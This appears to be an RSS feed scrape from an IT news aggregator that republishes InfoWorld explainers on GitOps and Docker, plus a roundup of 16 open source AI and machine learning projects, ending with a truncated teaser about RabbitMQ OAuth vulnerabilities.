<h2 class="wp-block-heading"><strong>GitOps defined</strong></h2>



<p class="wp-block-paragraph">The term GitOps was originally coined and popularized by Weaveworks, which helped formalize the approach in the context of Kubernetes operations. While that early work shaped the way GitOps was discussed and implemented, GitOps has since evolved into a broadly adopted, vendor-neutral pattern. Today, it describes a shared set of ideas rather than a specific product or platform.</p>



<p class="wp-block-paragraph">The defining characteristic of GitOps is its reliance on declarative configuration stored in a version control system. Instead of issuing imperative commands to change live systems, teams describe the desired state of applications and infrastructure in configuration files. Automated agents then continuously compare that declared state with what is actually running and work to reconcile any differences. This pull-based model—where systems converge toward the desired state defined in version control—provides built-in drift detection, repeatability, and a clear audit trail for every change.</p>



<p class="wp-block-paragraph">Because GitOps centers on configuration files stored in a version control system, familiar software development practices carry over naturally. Changes are proposed through commits, reviewed before being accepted, and tracked over time. Rollbacks are accomplished by reverting to known-good versions, and the history of how a system evolved is preserved alongside the configuration itself.</p>



<p class="wp-block-paragraph">While the use of <a href="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html">Git</a> as the version control system is not strictly required, it has become the default choice because of its ubiquity in modern devops workflows and its strong support for collaboration and change management, so its place in the name has stuck.</p>



<aside class="sidebar">
<h3><strong> GitOps vs. IaC </strong></h3>
<p>Infrastructure as code (IaC) and GitOps are closely related, but they solve different problems. </p>
<p>IaC focuses on how infrastructure is defined. Servers, networks, and services are described using declarative configuration files, which are then applied by automation tools. GitOps builds on IaC by adding an operating model around those definitions. In a GitOps workflow, the desired state of systems is stored in a version control repository and treated as the system of record. Automated agents continuously compare the running environment with that desired state and reconcile any differences.</p>
<p>The key distinction is persistence. IaC provisions infrastructure; GitOps keeps systems in the intended state over time. By using pull-based reconciliation and continuous drift detection, GitOps extends IaC into a day-to-day operational discipline.
</p>

</aside>



<h2 class="wp-block-heading"><strong>What is the CI/CD process?</strong></h2>



<p class="wp-block-paragraph">A complete look at CI/CD is beyond the scope of this article—<a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">see the InfoWorld explainer on the subject</a>—but we need to say a few words about CI/CD because it’s at the core of how GitOps works. The <em>continuous integration</em> half of CI/CD is enabled by version control repositories like Git: Developers can make constant small improvements to their codebase, rather than rolling out huge, monolithic new versions every few months or years. The <em>continuous deployment</em> piece is made possible by automated systems called <em>pipelines</em> that build, test, and deploy the new code to production.</p>



<p class="wp-block-paragraph">Again, we keep talking about <em>code </em>here, and that usually summons up visions of executable code written in a programming language such as C or Java or JavaScript. But in GitOps, the “code” we’re managing is largely made up of configuration files. This isn’t just a minor detail — it’s at the heart of what GitOps does. These config files are, as we’ve said, the “single source of truth” describing what our system should look like. They are <em>declarative </em>rather than instructive. That means that instead of saying “start up ten servers,” the configuration file will simply say, “this system includes ten servers.”</p>



<p class="wp-block-paragraph"><strong>GitOps and Kubernetes</strong></p>



<p class="wp-block-paragraph">GitOps first took hold in the Kubernetes ecosystem, where declarative configuration and continuous reconciliation are core design principles. As a result, Kubernetes remains the most common and best-understood environment for applying GitOps practices. A typical GitOps-driven update process for a Kubernetes application looks like this:</p>



<ol start="1" class="wp-block-list">
<li>A developer proposes a change by committing updated application code or configuration to a version control repository, usually through a pull request.</li>



<li>That change is reviewed and approved, then merged into the main branch.</li>



<li>The merge triggers an automated CI/CD pipeline that tests the change, builds new artifacts if needed, and publishes them to a registry.</li>



<li>A GitOps controller or similar automated agent detects the updated desired state stored in version control.</li>



<li>The controller compares that desired state with the current state of the Kubernetes cluster and applies the necessary changes to bring the cluster back into alignment.</li>
</ol>



<p class="wp-block-paragraph">This pull-based reconciliation loop—where the cluster continuously converges toward the desired state defined in version control—is central to how GitOps works in practice. While Kubernetes provides a natural fit for this model, it represents just one canonical use case. The same patterns increasingly apply to infrastructure provisioning, policy enforcement, and multi-cluster operations beyond Kubernetes itself.</p>



<h2 class="wp-block-heading"><strong>GitOps tooling in practice: Argo CD, Flux, and the ecosystem</strong></h2>



<p class="wp-block-paragraph">GitOps is enabled by a set of tools that embody the principles we’ve outlined, with some open-source projects emerging as de facto standards in cloud-native environments.</p>



<p class="wp-block-paragraph">At the center of the GitOps ecosystem is Argo CD, an open-source controller that continuously monitors a version control repository and ensures that the state of running systems matches the declared desired state. Argo CD is widely used in Kubernetes environments because it directly implements pull-based reconciliation: it compares the desired state stored in Git with the cluster’s actual state and applies changes to correct any drift.</p>



<p class="wp-block-paragraph">Alongside Argo CD, Flux is another prominent open source GitOps engine. Both Flux and Argo CD help teams adopt GitOps workflows by managing the synchronization loop between code and runtime, but they differ in operational philosophy, integration surfaces, and ecosystem fit.</p>



<p class="wp-block-paragraph">GitOps tooling often appears as part of broader platforms or integrated stacks rather than as isolated utilities. For example, <a href="https://www.infoworld.com/article/4006297/top-6-multicloud-management-systems.html">multicloud and cluster management solutions</a> now routinely include GitOps support, with Argo CD or compatible controllers bundled alongside deployment, policy, and governance capabilities.</p>



<p class="wp-block-paragraph">In addition to Flux and Argo CD, a range of auxiliary tools contribute to a complete GitOps ecosystem: policy as code engines (e.g., Open Policy Agent), drift detection systems, and infrastructure provisioning tools that mesh with Git-centric workflows.</p>



<h2 class="wp-block-heading"><strong>GitOps, devops, and normalization</strong></h2>



<p class="wp-block-paragraph">GitOps grew out of the same forces that drove devops into mainstream IT practice, and in its early days, GitOps was often discussed as a distinct extension of devops, specifically tailored to managing declarative infrastructure and Kubernetes-centric systems. At the time, GitOps was still relatively new and <a href="http://infoworld.com/article/2265546/why-gitops-isnt-ready-for-the-mainstream-yet.html">not yet widely adopted outside cloud-native pioneers</a>.</p>



<p class="wp-block-paragraph">Over the last several years, however, GitOps practices have become deeply woven into how teams operate modern cloud environments. Rather than being treated as an optional add-on or marketing term, the core ideas of GitOps — using version-controlled, declarative configuration and automated reconciliation loops to continuously align running systems with intended state — are now part of standard operational practice in many Kubernetes-centric shops. In this sense, GitOps has shifted from a buzzword about what might be possible to a baseline pattern for cloud-native operations, much like devops itself did years earlier.</p>



<p class="wp-block-paragraph">In environments where Kubernetes and declarative systems are the norm, GitOps workflows are the default way teams manage and deploy change. Many organizations now implement these patterns without explicitly calling them “GitOps,” just as few teams today explicitly say they do “CI/CD” even though continuous pipelines are taken for granted. The term has become less prominent in marketing, but its practices are often embedded in pipelines, controllers, and platform tooling.</p>



<p class="wp-block-paragraph">That normalization shows up in how GitOps workflows are woven into broader operational frameworks. For example, <a href="https://www.infoworld.com/article/2338225/what-is-platform-engineering-evolving-devops.html">platform engineering</a> teams frequently build internal developer platforms that encapsulate GitOps patterns behind standardized developer APIs, making the pattern invisible to most application teams while still providing the auditability and automation that GitOps promises.</p>



<h2 class="wp-block-heading"><strong>GitOps beyond Kubernetes: infrastructure, policy, and drift</strong></h2>



<p class="wp-block-paragraph">While GitOps first gained traction as a way to manage Kubernetes deployments, its core principles apply broadly to infrastructure and operational concerns beyond any single orchestration platform. GitOps treats desired state as declarative configuration stored in version control and uses automated reconciliation to ensure running systems align with that state. That pattern naturally extends to infrastructure provisioning, policy enforcement, configuration drift detection, and governance workflows across diverse environments.</p>



<p class="wp-block-paragraph">In modern operational stacks, infrastructure is increasingly defined declaratively, whether through Kubernetes manifests, Terraform modules, or other infrastructure-as-code formats. Storing these declarations in version control enables the same peer-review, auditability, and rollback practices developers already use for application code. Automated tooling then continuously detects when the live infrastructure diverges from the declared state and works to bring it back into alignment, reducing the risk of configuration drift and inadvertent misconfigurations.</p>



<p class="wp-block-paragraph">Configuration drift — the state where an environment has diverged from what’s declared in version control — remains a major operational headache, especially in complex, dynamic systems. Drift can arise from ad hoc fixes, emergency updates, or manual changes made outside normal pipelines, and it can lead to inconsistencies, outages, and security gaps. By continually checking running systems against the desired state in Git and reconciling deviations automatically, GitOps workflows help teams keep environments predictable and auditable.</p>



<p class="wp-block-paragraph">Policy enforcement and compliance are another natural extension of GitOps patterns. As organizations adopt declarative practices, policy-as-code engines and drift detection systems can be woven into GitOps pipelines to validate that proposed configurations meet security, compliance, or operational standards before they’re ever applied to running systems. Embedding policy checks into declarative workflows brings consistency to governance while preserving the automation and speed that devops teams expect.</p>



<h2 class="wp-block-heading"><strong>GitOps – beyond Kubernetes</strong></h2>



<p class="wp-block-paragraph">GitOps began as a way to bring devops discipline to Kubernetes operations, but its longer-term impact has been more subtle. In many ways, it’s been absorbed into the fabric of modern cloud-native operations, where declarative configuration, version control, and automated reconciliation are taken for granted. Today, GitOps is less about a specific set of tools or a named practice and more about an operational mindset. By treating infrastructure and configuration as versioned, auditable artifacts and relying on automation to enforce consistency, GitOps helps teams manage complexity at scale. Even as the term itself fades from the spotlight, the practices it introduced continue to shape how distributed systems are built, deployed, and operated.</p>
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<title><![CDATA[16 open source projects transforming AI and machine learning]]></title>
<description><![CDATA[For several decades now, the most innovative software has always emerged from the world of open source software. It’s no different with machine learning and large language models. If anything, the open source ecosystem has grown richer and more complex, because now there are open source models to...]]></description>
<link>https://tsecurity.de/de/3665665/ai-nachrichten/16-open-source-projects-transforming-ai-and-machine-learning/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665665/ai-nachrichten/16-open-source-projects-transforming-ai-and-machine-learning/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:27 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For several decades now, the most innovative software has always emerged from the world of open source software. It’s no different with machine learning and <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">large language models</a>. If anything, the open source ecosystem has grown richer and more complex, because now there are open source models to complement the open source code.</p>



<p class="wp-block-paragraph">For this article, we’ve pulled together some of the most intriguing and useful projects for <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">AI and machine learning</a>. Many of these are foundation projects, nurturing their own niche ecology of open source plugins and extensions. Once you’ve started with the basic project, you can keep adding more parts.</p>



<p class="wp-block-paragraph">Most of these projects offer demonstration code, so you can start up a running version that already tackles a basic task. Additionally, the companies that build and maintain these projects often sell a service alongside them. In some cases, they’ll deploy the code for you and save you the hassle of keeping it running. In others, they’ll sell custom add-ons and modifications. The code itself is still open, so there’s no vendor lock in. The services simply make it easier to adopt the code by paying someone to help.</p>



<p class="wp-block-paragraph">Here are 16 open source projects that developers can use to unlock the potential in machine learning and large language models of any size—from small to large, and even extra large.</p>



<h2 class="wp-block-heading">Agent Skills</h2>



<p class="wp-block-paragraph">AI coding agents are often used to tackle standard tasks like <a href="https://www.infoworld.com/article/3981588/putting-agentic-ai-to-work-in-firebase-studio.html">writing React components</a> or <a href="https://www.infoworld.com/article/4025088/how-coderabbit-brings-ai-to-code-reviews.html">reviewing parts of the user interface</a>. If you are writing a coding agent, it makes sense to use vetted solutions that are focused on the task at hand. <a href="https://github.com/vercel-labs/agent-skills">Agent Skills</a> are pre-coded tools that your AI can deploy as needed. The result is a focused set of vetted operations capable of producing refined, useful code that stays within standard guidelines. License: MIT.</p>



<h2 class="wp-block-heading">Awesome LLM Apps</h2>



<p class="wp-block-paragraph">If you are looking for good examples of agentic coding, see the <a href="https://github.com/Shubhamsaboo/awesome-llm-apps">Awesome LLM Apps collection</a>. Currently, the project hosts several dozen applications that leverage some combination of <a href="https://www.infoworld.com/article/2335814/what-is-retrieval-augmented-generation-more-accurate-and-reliable-llms.html">RAG databases</a> and LLMs. Some are simple, like a meme generator, while others handle deeper research like the Journalist agent. The most complex examples deploy multi-agent teams to converge upon an answer. Every application comes with working examples for experimentation, so you can learn from what’s been successful in the past. Altogether, the apps in this collection are great inspiration for your own projects. License: Apache 2.0.</p>



<h2 class="wp-block-heading">Bifrost</h2>



<p class="wp-block-paragraph">If your application requires access to an LLM service, and you don’t have a particular one in mind, check out <a href="https://github.com/maximhq/bifrost">Bifrost</a>. A fast, unified gateway to more than 15 LLM providers, this OpenAI-compatible API quickly abstracts away the differences between models, including all the major ones. It includes essential features like governance, caching, budget management, load balancing, and it has guardrails to catch problems before they are sent out to service providers, who will just bill you for the time. With dozens of great LLM providers constantly announcing new and better models, why limit yourself? License: Apache 2.0.</p>



<h2 class="wp-block-heading">Claude Code</h2>



<p class="wp-block-paragraph">If the popularity of AI coding assistants tells us anything, it’s that all developers—and not just the ones building AI apps—appreciate a little help writing and reviewing their code. <a href="https://github.com/anthropics/claude-code">Claude Code</a> is that pair programmer. Trained on all the major programming languages, <a href="https://www.infoworld.com/article/3853805/vibe-coding-with-claude-code.html">Claude Code can help you write code that is better, faster, and cleaner</a>. It digests a codebase and then starts doing your bidding, while also making useful suggestions. Natural language commands plus some vague hand waving are all the Anthropic LLM needs to refactor, document, or even add new features to your existing code. License: Anthropic’s Commercial TOS.</p>



<h2 class="wp-block-heading">Clawdbot</h2>



<p class="wp-block-paragraph">Many of the tools in this list help developers create code for other people. <a href="https://github.com/clawdbot/clawdbot?tab=readme-ov-file">Clawdbot</a> is the AI assistant for you, the person writing the code. It integrates with your desktop to control built-in tools like the camera and large applications like the browser. A multi-channel inbox accepts your commands through more than a dozen different communication channels including WhatsApp, Telegram, Slack, and Discord. A cron job adds timing. It’s the ultimate assistant for you, the ruler of your data. If AI exists to make our lives easier, why not start by organizing the applications on your desktop? License: MIT.</p>



<h2 class="wp-block-heading">Dify</h2>



<p class="wp-block-paragraph">For projects that require more than just one call to an LLM, <a href="https://github.com/langgenius/dify">Dify</a> could be the solution you’ve been looking for. Essentially a development environment for building complex agentic workflows, Dify stitches together LLMs, RAG databases, and other sources. It then monitors how they perform under different prompts and parameters and puts it all together in a handy dashboard, so you can iterate on the results. Developing agentic AI requires rapid experimentation, and Dify provides the environment for those experiments. License: Modified version of Apache 2.0 to exclude some commercial uses.</p>



<h2 class="wp-block-heading">Eigent</h2>



<p class="wp-block-paragraph">The best way to explore the power and limitations of an agentic workflow is to deploy it yourself on your own machine, where it can solve your own problems. Eigent delivers a workforce of specialized agents for handling tasks like writing code, searching the web, and creating documents. You just wave your hands and issue instructions, and Eigent’s LLMs do their best to follow through. Many startups brag about eating their own dogfood. Eigent puts that concept on a platter, making it easy for AI developers to experience directly the abilities and failings of the LLMs they’re building. License: Apache 2.0.</p>



<h2 class="wp-block-heading">Headroom</h2>



<p class="wp-block-paragraph">Programmers often think like packrats. If the data is good, why not pack in some more? This is a challenge for code that uses an LLM because these services charge by the token, and they also have a limited context window. <a href="https://github.com/chopratejas/headroom">Headroom</a> tackles this issue with agile compression algorithms that trim away the excess, especially the extra labels and punctuation found in common formats like JSON. A big part of designing working AI applications is cost engineering, and saving tokens means saving money. License: Apache 2.0.</p>



<h2 class="wp-block-heading">Hugging Face Transformers</h2>



<p class="wp-block-paragraph">When it comes to starting up a brand-new machine learning project, <a href="https://github.com/huggingface/transformers">Hugging Face Transformers</a> is one of the best foundations available. Transformers offers a standard format for defining how the model interacts with the world, which makes it easy to drop a new model into your working infrastructure for training or deployment. This means your model will interact nicely with all the already available tools and infrastructure, whether for text, vision, audio, video, or all of the above. Fitting into a standard paradigm makes it much easier to leverage your existing tools while focusing on the cutting edge of your research. License: Apache 2.0.</p>



<h2 class="wp-block-heading">LangChain</h2>



<p class="wp-block-paragraph">For agentic AI solutions that require endless iteration, <a href="https://github.com/langchain-ai/langchain">LangChain</a> is a way to organize the effort. It harnesses the work of a large collection of models and makes it easier for humans to inspect and curate the answers. When the task requires deeper thinking and planning, LangChain makes it easy to work with agents that can leverage multiple models to converge upon a solution. LangChain’s architecture includes a framework (LangGraph) for organizing easily customizable workflows with long-term memory, and a tool (LangSmith) for evaluating and improving performance. Its Deep Agents library provides teams of sub-agents, which organize problems into subsets then plan and work toward solutions. It is a proven, flexible test bed for agentic experimentation and production deployment. License: MIT.</p>



<h2 class="wp-block-heading">LlamaIndex</h2>



<p class="wp-block-paragraph">Many of the early applications for LLMs are sorting through large collections of semi-structured data and providing users with useful answers to their questions. One of the fastest ways to customize a standard LLM with private data is to use <a href="https://github.com/run-llama/llama_index">LlamaIndex</a> to ingest and index the data. This off-the-shelf tool provides data connectors that you can use to unpack and organize a large collection of documents, tables, and other data, often with just a few lines of code. The layers underneath can be tweaked or extended as the job requires, and LlamaIndex works with many of the data formats common in enterprises. License: MIT.</p>



<h2 class="wp-block-heading">Ollama</h2>



<p class="wp-block-paragraph">For anyone experimenting with LLMs on their laptop, <a href="https://github.com/ollama/ollama">Ollama</a> is one of the simplest ways to <a href="https://www.infoworld.com/article/2338922/5-easy-ways-to-run-an-llm-locally.html" data-type="link" data-id="https://www.infoworld.com/article/2338922/5-easy-ways-to-run-an-llm-locally.html">download one or more of them and get started</a>. Once it’s installed, your command line becomes a small version of the classic ChatGPT interface, but with the ability to pull a huge collection of models from a growing library of open source options. Just enter: <code>ollama run </code> and the model is ready to go. Some developers are using it as a back-end server for LLM results. The tool provides a stable, trustworthy interface to LLMs, something that once required quite a bit of engineering and fussing. The server simplifies all this work so you can tackle higher level chores with many of the <a href="https://ollama.com/library">most popular open source LLMs</a> at your fingertips. License: MIT.</p>



<h2 class="wp-block-heading">OpenWebUI</h2>



<p class="wp-block-paragraph">One of the fastest ways to put up a website with a chat interface and a dedicated RAG database is to spin up an instance of <a href="https://github.com/open-webui/open-webui">OpenWebUI</a>. This project knits together a feature-rich front end with an open back end, so that starting up a customizable chat interface only requires pulling a few <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker containers</a>. The project, though, is just a beginning, because it offers the opportunity to add plugins and extensions to enhance the data at each stage. Practically every part of the chain from prompt to answer can be tweaked, replaced, or improved. While some teams might be happy to set it up and be done, the advantages come from adding your own code. The project isn’t just open source itself, but a constellation of hundreds of little bits of contributed code and ancillary projects that can be very helpful. Being able to customize the pipeline and leverage the <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP protocol</a> supports the delivery of precision solutions. License: Modified BSD designed to restrict removing OpenWebUI branding without an enterprise license.</p>



<h2 class="wp-block-heading">Sim</h2>



<p class="wp-block-paragraph">The drag-and-drop canvas for <a href="https://github.com/simstudioai/sim">Sim</a> is meant to make it easier to experiment with <a href="https://www.infoworld.com/article/4086884/how-to-automate-the-testing-of-ai-agents.html">agentic workflows</a>. The tool handles the details of interacting with the various LLMs and vector databases; you just decide how to fit them together. Interfaces like Sim make the agentic experience accessible to everyone on your team, even those who don’t know how to write code. License: Apache 2.0.</p>



<h2 class="wp-block-heading">Sloth</h2>



<p class="wp-block-paragraph">One of the most straightforward ways to leverage the power of foundational LLMs is to start with an open source model and fine-tune it with your own data. <a href="https://github.com/unslothai/unsloth">Unsloth</a> does this, often faster than other solutions do. Most major open source models can be transformed with reinforcement learning. Unsloth is designed to work with most of the standard precisions and some of the largest context windows. The best answers won’t always come directly from RAG databases. Sometimes, adjusting the models is the best solution. License: Apache 2.0.</p>



<h2 class="wp-block-heading">vLLM</h2>



<p class="wp-block-paragraph">One of the best ways to turn an LLM into a useful service for the rest of your code is to start it up with <a href="https://github.com/vllm-project/vllm">vLLM</a>. The tool loads many of the available open source models from repositories like Hugging Face and then orchestrates the data flows so they keep running. That means batching the incoming prompts and managing the pipelines so the model will be a continual source of fast answers. It supports not just the CUDA architecture but also AMD CPUs and GPUs, Intel CPUs and GPUs, PowerPC CPUs, Arm CPUs, and TPUs. It’s one thing to experiment with lots of models on a laptop. It’s something else entirely to deploy the model in a production environment. vLLM handles many of the endless chores that deliver better performance. License: Apache-2.0.</p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[What is Docker? The spark for the container revolution]]></title>
<description><![CDATA[Docker is a software platform for building applications based on containers—small and lightweight execution environments that make shared use of the operating system kernel but otherwise run in isolation from one another. While containers have been used in Linux and Unix systems for some time, Do...]]></description>
<link>https://tsecurity.de/de/3665663/ai-nachrichten/what-is-docker-the-spark-for-the-container-revolution/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665663/ai-nachrichten/what-is-docker-the-spark-for-the-container-revolution/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:23 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<p class="wp-block-paragraph">Docker is a software platform for building applications based on <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">containers</a>—small and lightweight execution environments that make shared use of the operating system kernel but otherwise run in isolation from one another. While containers have been used in Linux and Unix systems for some time, Docker, an open source project launched in 2013, helped popularize the technology by making it easier than ever for developers to package their software to “build once and run anywhere.”</p>



<h2 class="wp-block-heading">A brief history of Docker</h2>



<p class="wp-block-paragraph">Founded as DotCloud in 2008 by Solomon Hykes in Paris, what we now know as Docker started out as a <a href="https://www.infoworld.com/article/2256066/what-is-paas-platform-as-a-service-a-simpler-way-to-build-software-applications.html">platform as a service (PaaS)</a> before <a href="https://www.docker.com/blog/dotcloud-is-becoming-docker-inc/">pivoting in 2013</a> to focus on democratizing the underlying software containers its platform was running on.</p>



<p class="wp-block-paragraph"><a href="https://www.youtube.com/watch?v=362sHaO5eGU">Hykes first demoed Docker</a> at PyCon in March 2013, explaining that Docker was created because developers kept asking for the underlying technology powering the DotCloud platform. “We did always think it would be cool to be able to say, ‘Yes, here is our low-level piece. Now you can do Linux containers with us and go do whatever you want, go build your platform.’ So that’s what we are doing.”</p>



<p class="wp-block-paragraph">And so, Docker was born, with the open source project quickly picking up traction with developers and attracting the attention of high-profile technology providers like Microsoft, IBM, and Red Hat, as well as venture capitalists willing to pump millions of dollars into the innovative startup. The container revolution had begun.</p>



<h2 class="wp-block-heading">What are containers?</h2>



<p class="wp-block-paragraph">As Hykes described it in his PyCon talk, containers are “self-contained units of software you can deliver from a server over there to a server over there, from your laptop to EC2 to a bare-metal giant server, and it will run in the same way because it is isolated at the process level and has its own file system.”</p>



<p class="wp-block-paragraph">The components for doing this have long existed in operating systems like Linux. By simplifying their use and giving these bits a common interface, Docker quickly became close to a de facto industry standard for containers. Docker let developers deploy, replicate, move, and back up a workload in a single, streamlined way, using a set of reusable images to make workloads more portable and flexible than previously possible.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Why you should use Docker and OCI containers</a>.</strong></p>



<p class="wp-block-paragraph">In the virtual machine (VM) world, something similar could be achieved by keeping applications separate while running on the same hardware. But each VM requires its own operating system, meaning VMs are typically large, slow to start up, difficult to move around, and cumbersome to maintain and upgrade.</p>



<p class="wp-block-paragraph">Containers represent a defined shift from the VM era, in that they isolate execution environments while sharing the underlying OS kernel. As a result, they are speedier and far more lightweight than VMs.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image large"><a class="zoom" href="https://legacy-us-images.foundryco.app/images/article/2017/06/virtualmachines-vs-containers-100727624-orig.jpg" rel="nofollow"><img width="400px" loading="lazy" src="https://legacy-us-images.foundryco.app/images/article/2017/06/virtualmachines-vs-containers-100727624-large.jpg" alt="virtualmachines vs containers"></a><figcaption class="wp-element-caption">
<p>Stacking up the virtualization and container infrastructure stacks.</p>
</figcaption></figure></div>



<h2 class="wp-block-heading">Docker: The component parts</h2>



<p class="wp-block-paragraph">Docker took off with software developers as a novel way to package the tools required to build and launch a container. It was more streamlined and simplified than anything previously possible. Broken down into its component parts, Docker consists of the following:</p>



<ul class="wp-block-list">
<li><strong>Dockerfile</strong>: Each Docker container starts with a Dockerfile. This text file provides a set of instructions to build a Docker image, including the operating system, languages, environmental variables, file locations, network ports, and any other components it needs to run. Provide someone with a Dockerfile and they can recreate the Docker image wherever they please, although the build process takes time and system resources.</li>



<li><strong>Docker image</strong>: Like a snapshot in the VM world, a Docker image is a portable, read-only executable file. It contains the instructions for creating a container and the specifications for which software components to run and how the container will run them. Docker images are far larger than Dockerfiles but require no build step: They can boot and run as-is.</li>



<li><strong>Docker run utility</strong>: Docker’s run utility is the command that launches a container. Each container is an instance of an image, and multiple instances of the same image can be run simultaneously.</li>



<li><strong>Docker Hub</strong>: Docker Hub is a repository where container images can be stored, shared, and managed. Think of it as Docker’s own version of GitHub, but specifically for containers.</li>



<li><strong>Docker Engine</strong>: Docker Engine is the core of Docker. It is the underlying client-server technology that creates and runs the containers. The Docker Engine includes a long-running daemon process called dockerd for managing containers, APIs that allow programs to communicate with the Docker daemon, and a command-line interface.</li>



<li><strong>Docker Compose</strong>: Docker Compose is a command-line tool that uses YAML files to define and run multicontainer Docker applications. It allows you to create, start, stop, and rebuild all the services from your configuration and view the status and log output of all running services.</li>



<li><strong>Docker Desktop</strong>: All of these component parts are wrapped in Docker’s Desktop application, providing a user-friendly way to build and share containerized applications and <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices</a>.</li>
</ul>



<h2 class="wp-block-heading">Advantages of Docker</h2>



<p class="wp-block-paragraph">Docker containers provide a way to build applications that are easier to assemble, maintain, and move around than previous methods allowed. That provides several advantages to software developers:</p>



<ul class="wp-block-list">
<li><strong>Docker containers are minimalistic and enable portability</strong>: Docker helps to keep applications and their environments clean and minimal by isolating them, which allows for more granular control and greater portability.</li>



<li><strong>Docker containers enable composability</strong>: Containers make it easier for developers to compose the building blocks of an application into a modular unit with easily interchangeable parts, which can speed up development cycles, feature releases, and bug fixes.</li>



<li><strong>Docker containers make orchestration and scaling easier</strong>: Because containers are lightweight, developers can launch many of them for better scaling of services, and each container instance launches many times faster than a VM. These clusters of containers do then need to be orchestrated, which is where a platform like <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a> typically comes in.</li>
</ul>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3529526/how-to-succeed-with-kubernetes.html">How to succeed with Kubernetes</a>.</strong></p>



<h2 class="wp-block-heading">Drawbacks of Docker</h2>



<p class="wp-block-paragraph">Containers solve a great many problems, but they don’t solve them all. Common complaints about Docker include the following:</p>



<ul class="wp-block-list">
<li><strong>Docker containers are not virtual machines</strong>: Unlike virtual machines, containers use controlled portions of the host operating system’s resources, which means elements aren’t as strictly isolated as they would be on a VM.</li>



<li><strong>Docker containers don’t provide bare-metal speed</strong>: Containers are significantly more lightweight and closer to the metal than virtual machines, but they do incur some performance overhead. If your workload requires bare-metal speed, a container will get you close but not all the way there.</li>



<li><strong>Docker containers are stateless and immutable</strong>: Containers boot and run from an image that describes their contents. That image is immutable by default—once created, it doesn’t change. But a container <em>instance</em> is transient. Once removed from system memory, it’s gone forever. If you want your containers to persist state across sessions, like a virtual machine, you need to design for that persistence.</li>
</ul>



<h2 class="wp-block-heading">Docker today</h2>



<p class="wp-block-paragraph">Container usage has continued to grow in tandem with <a href="https://www.infoworld.com/article/2255318/what-is-cloud-native-the-modern-way-to-develop-software.html">cloud-native development</a>, now the dominant model for building and running software. But these days, Docker is only a part of that puzzle.</p>



<p class="wp-block-paragraph">Docker grew popular because it made it easy to move the code for an application and its dependencies from the developer’s laptop to a server. But the rise of containers led to a shift in the way applications were built—from monolithic stacks to <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">networks of microservices</a>. Soon, many users needed a way to orchestrate and manage groups of containers at scale.</p>



<p class="wp-block-paragraph">Launched at Google, the <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a> open source project quickly emerged as the best way to orchestrate containers, superseding Docker’s own attempts to solve this problem with <a href="https://boxboat.com/2019/12/10/migrate-docker-swarm-to-kubernetes/">Docker Swarm (RIP)</a>. Amidst increasing funding trouble, Docker eventually sold its enterprise business to Mirantis in 2019, which has since absorbed Docker Enterprise into the Mirantis Kubernetes Engine.</p>



<p class="wp-block-paragraph">The remains of Docker—which includes the original open source Docker Engine container runtime, Docker Hub image repository, and Docker Desktop application—live on under the leadership of company veteran Scott Johnston, who is looking to reorient the business around its core customer base of software developers.</p>



<p class="wp-block-paragraph">The Docker Business subscription service, and the revised Docker Desktop product, both reflect those new goals: Docker Business offers tools for managing and rapidly deploying secure Docker instances, and Docker Desktop requires paid usage for organizations with more than $10 million in annual revenue and 250 or more employees. But there’s also the Docker Personal subscription tier, for individuals and companies that fall below those thresholds, so end users still have access to many of Docker’s offerings.</p>



<p class="wp-block-paragraph">Docker has other offerings suited to the changing times. <a href="https://docs.docker.com/dhi/">Docker Hardened Images</a>, available in both free and enterprise tiers, provide application images with smaller attack surfaces and checked software components for better security. And, in step with the <a href="https://www.infoworld.com/artificial-intelligence/">AI revolution</a>, the <a href="https://docs.docker.com/ai/mcp-catalog-and-toolkit/">Docker MCP Catalog and Toolkit</a> provide Dockerized versions of tools that give AI applications broader functionality (such as by allowing access to the file system), making it easier to deploy AI apps with less risk to the surrounding environment.</p>
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<title><![CDATA[Hackers Can Exploit RabbitMQ OAuth Flaw to Access Every Message, Queue, and User]]></title>
<description><![CDATA[Security researchers have disclosed two access-control vulnerabilities in RabbitMQ, the open-source message broker used in an estimated 8% of all containers running today, that could allow attackers to seize full administrative control of a broker or silently map out sensitive…
Read more →
The po...]]></description>
<link>https://tsecurity.de/de/3665407/it-security-nachrichten/hackers-can-exploit-rabbitmq-oauth-flaw-to-access-every-message-queue-and-user/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665407/it-security-nachrichten/hackers-can-exploit-rabbitmq-oauth-flaw-to-access-every-message-queue-and-user/</guid>
<pubDate>Mon, 13 Jul 2026 15:38:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Security researchers have disclosed two access-control vulnerabilities in RabbitMQ, the open-source message broker used in an estimated 8% of all containers running today, that could allow attackers to seize full administrative control of a broker or silently map out sensitive…</p>
